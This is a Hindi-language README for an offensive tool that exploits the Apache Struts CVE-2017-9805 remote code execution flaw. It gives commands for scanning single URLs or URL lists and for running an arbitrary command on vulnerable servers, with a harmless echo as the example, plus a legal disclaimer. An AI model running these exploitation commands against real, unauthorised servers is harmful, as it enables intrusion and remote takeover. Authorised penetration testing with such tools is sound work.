apache-struts-pwn - CVE-2017-9805 Exploit

Apache Struts CVE-2017-9805 के लिए एक एक्सप्लॉइट

उपयोग

जाँच करें कि क्या भेद्यता एकल URL पर मौजूद है।

python apache-struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

जाँच करें कि क्या भेद्यता URL की सूची पर मौजूद है।

python apache-struts-pwn.py --list 'urls.txt'

एकल URL का शोषण करें।

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

URL की सूची का शोषण करें।

python apache-struts-pwn.py --exploit --list 'urls.txt' -c 'echo test > /tmp/apache-struts-pwn'

आवश्यकताएँ

Python2 या Python3
requests

कानूनी अस्वीकरण

यह परियोजना केवल शैक्षिक और नैतिक परीक्षण उद्देश्यों के लिए बनाई गई है। पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए struts-pwn का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स कोई दायित्व नहीं लेते हैं और इस प्रोग्राम के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

लाइसेंस

यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।

लेखक

Mazin Ahmed

वेबसाइट: https://lonerangerweb.wordpress.com/
ईमेल: ultimate31337[AT]gmail[DOT]com
ट्विटर: https://twitter.com/lon3_rang3r

apache-struts-pwn_CVE-2017-9805

सबसे लोकप्रिय